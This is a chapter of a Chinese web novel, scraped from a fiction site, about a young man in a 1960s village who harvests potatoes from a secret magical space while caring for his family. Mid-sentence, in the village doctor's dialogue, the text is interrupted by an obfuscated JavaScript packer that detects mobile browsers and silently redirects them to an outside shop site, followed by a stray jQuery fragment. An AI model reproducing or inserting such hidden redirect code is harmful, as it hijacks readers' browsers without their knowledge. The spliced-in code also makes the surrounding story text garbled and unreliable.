文趣网 > 都市小说 > 六零锅锅养家日常 > 15. 第十五章:空间土豆熟了
    告状的事过去了三天,村里没什么动静。马翠花见了林晨绕着走,井边也不再传林家的闲话。张桂英的大嗓门在村里响了两天,把马翠花骂得抬不起头,老队长又开了个会,说“谁再嚼舌根扣工分”,这事就算压下去了。

    但林晨知道,压得了一时,压不了一世。

    他得趁这段时间,把空间里的东西再攒一攒。

    土豆熟了。

    连着下了几天雨,他没进空间。等天晴了,夜里摸进去一看,土豆秧子已经枯了,趴在地上,叶子发黄发干。林晨蹲下来,拿手刨了一棵。土是松的,手插进去,摸到几个圆滚滚的东西,一拽,一串土豆从土里带出来,大大小小五六个,最大的有他拳头大。

    皮是红的,薄薄的,上面带着黑土,凑近了闻,有一股淡淡的甜腥味。

    林晨把土豆放在地头,继续刨。一垄一垄地刨,一棵一棵地拽。土豆从土里翻出来,滚了一地,大大小小,红的黄的。他刨了半个时辰,刨了足足两大筐。

    他把土豆搬到井边,打了水,一个一个地洗。红皮土豆在水里一泡,颜色更鲜亮了,像抹了一层油。林晨拿起一个,在衣服上擦了擦,咬了一口。生的,脆,甜,不像外面的土豆发涩发硬。他三两口吃完了一个,把皮扔在地头。

    洗完了,他把土豆摊在木屋地上阴干。等干透了,就能存起来了。空间仓库是静止的,放进去什么样,拿出来还什么样,不会发芽,不会烂。

    林晨站起来,擦了把汗,走到玉米架子前看了看。玉米粒已经干透了,他用手拨了拨,哗啦哗啦响。加上之前磨的面,够吃一阵子了。

    他灌了一竹筒泉水,出来,兑进水壶。

    躺在炕上,他心里算了一笔账:土豆两筐,玉米四袋,加上之前存的红薯干,够全家吃两个月。但这些不能一次拿出来,得慢慢掺。一次掺一点,看不出来。

    第二天早上,念念自己起的。

    她现在已经不需要人叫了,每天天一亮就自己爬下炕,穿鞋,走到灶房门口,等母亲开门。

    “妈,今天吃啥?”

    “糊糊。”

    “又是糊糊。”念念皱了皱鼻子,“我想吃土逗。”

    母亲正在切红薯,听见这话,刀停了一下:“什么土逗?”

    “土逗。”念念比划了一下,“圆圆的,一挖一嘟噜。”

    母亲没听懂,看了她一眼。林晨从灶房外面走进来,蹲下来,看着念念。

    “念念,你怎么知道有土豆?”

    “你说的。”念念歪着头,“你睡觉的时候说的。”

    林晨愣了一下。他说梦话了?说了什么?他看了一眼母亲,母亲正在切红薯,头都没抬,看不出什么表情。

    “我说什么了?”

    “你说,土豆熟了。”念念学着他的语气,压低声音,“熟了好,熟了能吃了。”

    林晨心里咯噔一下。

    他转头看母亲。母亲还是没抬头,菜刀在案板上切得飞快,嚓嚓嚓,红薯块从刀下滚出来,大小均匀。

    “妈。”林晨喊了一声。

    “嗯。”

    “我昨晚说梦话了?”

    “没听见。”母亲把切好的红薯拢进盆里,端到灶台边,“你妹做梦了。”

    念念急了:“我没做梦!哥说了,我听见了!”

    母亲没接话,往锅里添水。林晨蹲在灶台边,帮母亲添柴。念念站在灶房门口,噘着嘴,不高兴。

    “念念,过来。”林晨招手。

    念念走过去。

    “哥没睡好,说胡话,不是真的土豆。”

    “可是你说熟了——”

    “哥做梦了。”林晨看着她,认真地说,“梦里种的土豆熟了,不是家里的。念念帮哥保密,好不好?”

    念念想了想,点点头。

    “念念乖,哥以后给你种真土豆。”

    “那你种。”

    “好,哥种。”

    念念满意了,跑去水缸边看花。缸里没花,她踮着脚尖往里看,看了半天,回头问:“哥,化什么时候长出来?”

    “快了。”

    念念“哦”了一声,蹲在水缸边上,等花长出来。

    吃饭的时候,熙熙说:“哥,周老师说,公社小学的招生简章贴出来了。”

    林晨放下碗:“什么时候考?”

    “下个月十五。”

    “还有二十来天,你好好准备。”

    “可是——”熙熙看了一眼母亲,“妈还没说让不让我去。”

    母亲端着碗,没说话。

    “妈,让熙熙去考。”林晨说。

    母亲放下碗,看了看熙熙,又看了看林晨。

    “考上了,你们别后悔。”

    “不后悔。”林晨说。

    熙熙也点头:“妈,我不后悔。”

    母亲又端起碗,喝了一口糊糊。喝完了,放下碗,说了一句:“去吧。”

    熙熙眼眶红了,低下头,假装喝糊糊。

    念念坐在旁边,看看熙熙,又看看母亲,不知道发生了什么,但她看见熙熙红了眼眶,伸手摸了摸熙熙的脸。

    “姐,你咋了?”

    “没事。”

    “那你哭啥?”

    “没哭。”熙熙吸了吸鼻子,“糊糊烫的。”

    念念信了,低头喝自己的糊糊,喝了一口,抬头说:“不烫啊。”

    熙熙笑了,眼泪掉下来了。

    上午,林晨没下地。队上今天休息,播种完了,等出苗。他坐在院子里,拿磨石磨锄头。念念蹲在旁边,拿小棍子在地上画。

    “念念,你昨天听见哥说梦话了?”

    “嗯。”

    “说的什么?”

    “你说,土豆熟了。”念念学着他的语气,“熟了好,熟了能吃了。”

    “还有呢?”

    “还有——”念念想了想,“你说,别让人看见。”

    林晨手里的磨石顿了一下。

    “还说什么了?”

    “没了。”念念低头继续画,“哥,土豆长什么样?”

    “圆圆的,像石头。”

    “好吃吗?”

    “好吃。等哥种出来了给你吃。”

    “那你快种。”

    林晨笑了,伸手摸了摸她的头。

    中午,林晨去了东屋。

    爷爷躺在炕上,腿上盖着棉被。奶奶坐在炕沿上,缝一件小褂子。看见林晨进来,爷爷睁开眼。

    “爷,腿好点没?”

    “老样子。”

    林晨在炕沿上坐下,看着爷爷的脸。爷爷瘦了,颧骨凸出来,眼窝凹进去。腮帮子上的皮松了,往下耷拉着。

    “爷,孙大爷的膏药还有吗?”

    “还有两贴。”

    “用完了我去县城买。”

    “别花那个钱。”爷爷闭上眼,“老毛病了,贴不贴都一样。”

    “贴了总比不贴强。”

    爷爷没接话。奶奶在旁边缝褂子,针扎进去,拔出来,嗤的一声。

    “晨儿。”奶奶开口了,“你二叔上次来信,说他在部队挺好的,让你别惦记。”

    “嗯。”

    “他还说,让你好好干活,别给他丢人。”

    林晨点了点头。

    “你二叔这个人,嘴笨,不会说好听的,心里有数。”奶奶把针在头发上蹭了蹭,“你像他。”

    林晨没说话。

    下午,林晨去了一趟孙大爷家。

    孙大爷住在村东头,一间土坯房,院子里晒着草药,空气里全是药味。他正蹲在院子里切药材,看见林晨,招招手。

    “晨儿,过来。”

    林晨走过去,蹲下来。

    “你爷的腿,膏药用完了?”

    “快了,还有两贴。”

    “我这儿还有几贴,你拿去。”孙大爷站起来,走进屋,从柜子里翻出几贴膏药,用草纸包着,“这是我自己熬的,比县城买的管用。”

    林晨接过膏药:“孙大爷,多少钱?”

    “不要钱。”孙大爷摆摆手,“你爷是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508791|202911||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    老寒腿,老毛病了。你在山上采的药材,给我送点就行。”

    “行。”

    “你上次送的柴胡,品相好,我用了。”孙大爷看了他一眼,“哪儿采的?”

    “山上。”

    “哪座山?”

    “就青山。”

    孙大爷点了点头,没再问。

    林晨拿着膏药回家,路过村口老榆树下,老队长正蹲在树根上抽旱烟。

    “晨儿,过来。”

    林晨走过去。

    “你熙熙要考公社小学?”

    “嗯。”

    “好事。”老队长磕了磕烟袋锅,“考上我给你写介绍信。”

    “谢谢队长。”

    “谢啥。”老队长站起来,拍了拍裤腿上的土,“你爸当年学习就好,要不是家里穷,他能念到高中。”

    林晨没接话。

    “你像你爸。”老队长说完,走了。

    林晨站在老榆树下,站了一会儿。风从南坡吹过来,带着青草的味道。他把膏药揣进口袋,往家走。

    院门口,念念正蹲在地上画圈。

    “哥,你看。”她指着地上画的一堆圆圈,大大小小,歪歪扭扭。

    “这是什么?”

    “土逗。”念念一本正经,“你种的。”

    林晨蹲下来,看着那一地圆圈。大大小小,圆的扁的,有的画得像土豆,有的画得像石头。

    “念念,你怎么知道土豆长这样?”

    “我猜的。”念念得意地笑了,“像不像?”

    “像。”

    念念更得意了,拿起小棍子,又画了一个。

    晚上,吃完饭,林晨坐在门槛上,把孙大爷给的膏药拿出来,一张一张地翻看。膏药是黑乎乎的,贴在牛皮纸上,有一股浓烈的草药味。

    “给你爷送去吧。”母亲从灶房出来,端着一碗水。

    “嗯。”

    林晨站起来,走进东屋。爷爷正躺在炕上,奶奶在旁边给他揉腿。

    “爷,孙大爷给的膏药。”

    爷爷睁开眼,看了看林晨手里的膏药。

    “放着吧。”

    林晨把膏药放在炕沿上,站了一会儿,不知道该说什么。

    “晨儿。”爷爷忽然开口,“你最近变了。”

    这句话,他听了好几次了。奶奶说过,母亲说过,现在爷爷也说了。

    “爷,我没变。”

    爷爷没再说话,闭上了眼睛。

    林晨出了东屋,走到院子里。月亮又圆了一些,挂在老榆树顶上,亮汪汪的。

    他摸出口袋里的玉佩,攥在手心。玉佩温热的,沉甸甸的。

    念念从灶房里跑出来,手里拿着一块红薯,啃得满脸都是。

    “哥,你吃不吃?”

    “不吃。”

    “好吃。”念念把红薯举到他嘴边,“你咬一口。”

    林晨咬了一口。红薯是母亲蒸的,软糯,甜。念念看他吃了,满意了,继续啃。

    “哥。”

    “嗯。”

    “姐说,她要去考试了。”

    “嗯。”

    “考上了是不是就不在家了?”

    林晨低头看着她。念念的眼睛在月光下亮亮的,像两颗黑葡萄。

    “考上了,姐去公社上学,住学校。”

    “那谁跟我玩?”

    “哥跟你玩。”

    念念想了想,摇摇头:“你下地。”

    “收工了哥跟你玩。”

    念念又想了想,点点头:“那你早点回来。”

    “好。”

    念念伸出小指:“拉钩。”

    林晨伸出小指,跟她拉了一下。

    念念满意了,啃着红薯跑回灶房。

    林晨站在院子里,看着月亮。明天还要下地,后天还要下地。土豆要存,玉米要磨,熙熙要去考试,爷爷的腿要治,念念要人陪。

    事情一件一件地来,他一件一件地做。

    急不得。

    但也不能慢。